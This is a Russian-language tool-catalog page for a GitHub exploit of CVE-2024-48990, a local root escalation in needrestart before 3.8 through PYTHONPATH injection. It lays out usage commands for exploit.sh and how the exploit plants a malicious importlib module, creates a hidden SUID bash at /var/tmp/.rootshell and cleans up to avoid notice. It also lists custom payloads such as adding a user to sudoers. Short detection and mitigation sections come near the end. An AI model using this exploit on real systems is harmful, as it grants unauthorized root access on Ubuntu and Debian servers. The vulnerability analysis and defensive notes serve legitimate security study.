Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2024-48990 — needrestart < 3.8 Локальное повышение привилегий через инъекцию PYTHONPATH | Kitploit
Инструменты/GitHubGitHub/blueberryp1ll/cve-2024-48990
Повышение привилегийАнализ уязвимостейЭксплуатацияТестирование на ПроникновениеRed Teaming
GitHubblueberryp1ll/cve-2024-48990

CVE-2024-48990

needrestart < 3.8 Локальное повышение привилегий через инъекцию PYTHONPATH

Репозиторий
116 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2024-48990 — повышение привилегий через needrestart

Эксплойт локального повышения привилегий, нацеленный на needrestart < 3.8 в системах Ubuntu/Debian через внедрение PYTHONPATH.

Обзор

needrestart — это утилита, часто устанавливаемая на серверах Ubuntu/Debian, которая проверяет, какие службы нужно перезапустить после обновления библиотек. Она выполняется от имени root и обычно запускается автоматически после операций с apt или напрямую через sudo.

При проверке процессов Python needrestart повторно запускает интерпретатор Python, наследуя полное окружение процесса из /proc/<pid>/environ — включая PYTHONPATH. Непривилегированный локальный пользователь может использовать это следующим образом:

  1. Установив PYTHONPATH в каталог, содержащий вредоносный пакет importlib
  2. Поддерживая работающий процесс Python, чтобы needrestart захватил его во время сканирования
  3. Дожидаясь выполнения needrestart — он загружает importlib/__init__.py атакующего от root

Затронутые версии

ПакетУязвимая версияИсправленная версия
needrestart< 3.8>= 3.8

Подтверждено на:

  • Ubuntu 22.04 LTS (Jammy) — needrestart 3.5-5ubuntu2.4
  • Ubuntu 24.04 LTS (Noble) — needrestart 3.6-7ubuntu4

Использование

root@kitploit:~
chmod +x exploit.sh
./exploit.sh

Затем запустите needrestart из другого терминала:

root@kitploit:~
# Если у вас есть прямой sudo-доступ к needrestart:
sudo /usr/sbin/needrestart

# Или запустите через apt (needrestart выполняется как хук после apt):
sudo apt update && sudo apt install --reinstall coreutils

После срабатывания needrestart эксплойт создаёт SUID-оболочку в /var/tmp/.rootshell и автоматически предоставляет вам root-доступ.

Если авто-запуск не сработал, получите оболочку вручную:

root@kitploit:~
/var/tmp/.rootshell -p

Параметры

root@kitploit:~
Usage: ./exploit.sh [OPTIONS]

Options:
  -c <command>    Custom shell command to run as root (default: copy suid shell)
  -w <seconds>    Max wait time in seconds (default: 300)
  -t              Trigger mode: attempt to trigger needrestart via apt
  -n              No cleanup: keep payload directory after exploitation
  -h              Show this help message

Примеры

root@kitploit:~
# По умолчанию — создаёт SUID-копию /bin/bash в /var/tmp/.rootshell
./exploit.sh

# Авто-запуск needrestart через apt (требуется sudo apt access)
./exploit.sh -t

# Пользовательская нагрузка: добавить текущего пользователя в sudoers
./exploit.sh -c 'usermod -aG sudo targetuser'

# Пользовательская нагрузка: прочитать ограниченный файл
./exploit.sh -c 'cat /root/flag.txt > /tmp/flag.txt && chmod 644 /tmp/flag.txt'

# Увеличенное время ожидания (10 минут)
./exploit.sh -w 600

Как это работает

root@kitploit:~
┌───────────────────────────────────────────────────────────────┐
│  1. Создаёт /tmp/.nr_XXXX/importlib/__init__.py с нагрузкой   │
│     которая запускает os.system() для копирования /bin/bash   │
│     в SUID-бинарник                                           │
├───────────────────────────────────────────────────────────────┤
│  2. Запускает долгоживущий процесс Python с                   │
│     PYTHONPATH=/tmp/.nr_XXXX, экспортируемым в его окружение  │
├───────────────────────────────────────────────────────────────┤
│  3. needrestart запускается (через sudo или хук apt),         │
│     сканирует /proc/*/environ, находит процесс Python         │
├───────────────────────────────────────────────────────────────┤
│  4. needrestart повторно вызывает python3 КАК ROOT,          │
│     наследуя PYTHONPATH атакующего → загружает вредоносный    │
│     importlib                                                 │
├───────────────────────────────────────────────────────────────┤
│  5. Нагрузка выполняется от root: cp /bin/bash + chmod 4755  │
│     → атакующий запускает /var/tmp/.rootshell -p → root shell │
└───────────────────────────────────────────────────────────────┘

Примечания

  • SUID-оболочка помещается в /var/tmp/, а не в /tmp, потому что /tmp часто монтируется с опцией nosuid, которая незаметно снимает SUID-бит.
  • Вредоносный importlib/__init__.py восстанавливает настоящий importlib после выполнения нагрузки, очищая sys.path и sys.modules, чтобы needrestart не упал наглядно.
  • Процесс-приманка Python запускает настоящий .py-файл (не однострочник с -c) для лучшей совместимости со сканированием интерпретаторов needrestart.

Обнаружение

Признаки, что эксплойт был использован:

  • Неожиданные SUID-бинарники в /var/tmp/ или /tmp/
  • Процессы Python с необычными значениями PYTHONPATH, указывающими на временные каталоги
  • Каталоги, соответствующие маске /tmp/.nr_*, содержащие подкаталог importlib/

Меры защиты

root@kitploit:~
# Обновите needrestart до исправленной версии
sudo apt update && sudo apt install needrestart

# Или полностью отключите сканирование интерпретаторов
echo "\$nrconf{interpscan} = 0;" | sudo tee /etc/needrestart/conf.d/no-interp.conf

Ссылки

  • CVE-2024-48990
  • Уведомление Qualys — needrestart LPE
  • Уведомление безопасности Ubuntu USN-7117-1

Отказ от ответственности

Этот инструмент предоставляется только для авторизованного тестирования безопасности и образовательных целей. Используйте его только на системах, которые вам принадлежат или на которые у вас есть явное письменное разрешение для тестирования. Несанкционированный доступ к компьютерным системам противозаконен. Автор не несёт ответственности за неправомерное использование.

Лицензия

MIT

Скачать инструмент